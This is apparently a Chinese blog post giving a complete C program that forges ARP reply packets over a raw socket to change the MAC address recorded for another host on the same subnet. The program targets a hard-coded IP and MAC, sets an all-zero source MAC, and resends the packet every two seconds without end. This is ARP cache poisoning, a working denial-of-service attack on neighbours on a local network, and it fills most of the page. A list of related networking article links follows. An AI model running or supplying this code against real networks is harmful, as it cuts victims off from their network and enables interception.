ARP协议改mac地址

简介: ARP协议改mac地址

##改变同一网段别人的mac地址


#include <stdio.h>
#include <sys/socket.h>//socket
#include <arpa/inet.h>//htons
#include <netinet/ether.h>//ETH_P_ALL
#include <unistd.h>//close
#include <sys/ioctl.h>
#include <string.h>
#include <netpacket/packet.h>//sockaddr_ll
#include <net/if.h>//struct ifreq
#include <net/ethernet.h>//struct ether_header
#include <net/if_arp.h>//struct arphdr
int main(int argc, char const *argv[]){   
 //创建一个原始套接字  
   int fd = socket(PF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
    //组包(arp)  
       unsigned char dst_mac[6]={0x70,0x5A,0x0F,0x63,0xF5,0x9D};   
        unsigned char src_mac[6]={0x00,0x00,0x00,0x00,0x00,0x00}; 
           unsigned char src_ip[4] = {10,0,121,217};  
       unsigned char dst_ip[4] = {10,0,121,196};    
    unsigned char msg[1500]="";
    //组mac头   
     struct ether_header *eth_hd = (struct ether_header *)msg;  
       //赋值目的mac   
        memcpy(eth_hd->ether_dhost,dst_mac,6);   
         //源mac  
           //memset(eth_hd->ether_shost,0,6); 
              memcpy(eth_hd->ether_shost,src_mac,6); 
                 //协议类型 
                    eth_hd->ether_type = htons(0x0806);
    //组arp头   
     struct arphdr *arp_hd = (struct arphdr *)(msg+14);  
       arp_hd->ar_hrd = htons(1);//硬件类型  
         arp_hd->ar_pro = htons(0x0800);//协议类型  
           arp_hd->ar_hln = 6;//硬件地址长度 
              arp_hd->ar_pln = 4;//协议地址长度  
                arp_hd->ar_op = htons(2);//应答  
                  memcpy(arp_hd->__ar_sha,src_mac,6);//源mac  
                    memcpy(arp_hd->__ar_sip,src_ip,4);//源ip  
                      memcpy(arp_hd->__ar_tha,dst_mac,6);//目的mac  
                        memcpy(arp_hd->__ar_tip,dst_ip,4);//目的ip
    int len = 42;
    //从原始套接字发送数据  
      //获取网络结构类型    
      struct ifreq ethreq;  
        strncpy(ethreq.ifr_name,"ens33",IFNAMSIZ); 
           ioctl(fd, SIOCGIFINDEX, &ethreq);
    //指明出去的网络接口    
    struct sockaddr_ll sll;   
     bzero(&sll,sizeof(sll)); 
        sll.sll_ifindex = ethreq.ifr_ifindex;
    while(1)  
      {     
         sendto(fd,msg,len,0,(struct sockaddr *)&sll, sizeof(sll)); 
                sleep(2);   
                 }      
                   close(fd);
    return 0;}
相关文章
|
6天前
|
缓存 网络协议 网络架构
【计算机网络】第三章 数据链路层(MAC地址 IP地址 ARP协议)
【计算机网络】第三章 数据链路层(MAC地址 IP地址 ARP协议)
27 1
|
6天前
|
网络协议 网络架构
MAC地址震荡,STP震荡,OSPF路由协议震荡
MAC地址震荡,STP震荡,OSPF路由协议震荡
4 0
|
6天前
|
网络协议 Linux Android开发
计算机网络:MAC地址 & IP地址 & ARP协议
计算机网络:MAC地址 & IP地址 & ARP协议
37 7
|
6天前
|
存储 缓存 运维
基于 Wireshark 分析 ARP 协议
基于 Wireshark 分析 ARP 协议
|
6天前
|
存储 缓存 网络协议
CCNA 200-301系列:地址解析协议(ARP)
【4月更文挑战第21天】
21 0
|
6天前
|
网络协议 数据格式
|
6天前
|
存储 缓存 网络协议
计算机网络:思科实验【2-MAC地址、IP地址、ARP协议及总线型以太网的特性】
计算机网络:思科实验【2-MAC地址、IP地址、ARP协议及总线型以太网的特性】
|
6天前
|
缓存 网络协议 安全
【网络工程师】<软考中级>解析协议ARP&路由协议RIP/OSPF/BGP
【1月更文挑战第27天】【网络工程师】<软考中级>解析协议ARP&路由协议RIP/OSPF/BGP
|
6天前
|
存储 缓存 网络协议
dpdk课程学习之练习笔记二(arp, udp协议api测试)
dpdk课程学习之练习笔记二(arp, udp协议api测试)
75 0
|
7月前
|
缓存 网络协议 网络架构
【计算机网络】第三章 数据链路层(MAC地址 IP地址 ARP协议)
【计算机网络】第三章 数据链路层(MAC地址 IP地址 ARP协议)